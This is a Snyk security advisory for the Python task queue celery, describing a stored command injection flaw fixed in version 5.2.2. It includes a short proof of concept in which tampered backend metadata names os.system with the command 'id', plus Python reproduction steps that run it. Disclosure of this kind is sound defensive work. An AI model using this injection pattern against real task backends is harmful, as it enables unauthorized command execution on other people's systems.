Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade celery
to version 5.2.2 or higher.
Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.
Example of modified metadata as stored in the result stores:
'status': 'FAILURE',
'result': json.dumps({
'exc_module': 'os',
'exc_type': 'system',
'exc_message': 'id'
})
}
Reproduction steps in a Python shell:
from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os', 'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)
The result would be an output of os.system('id')
.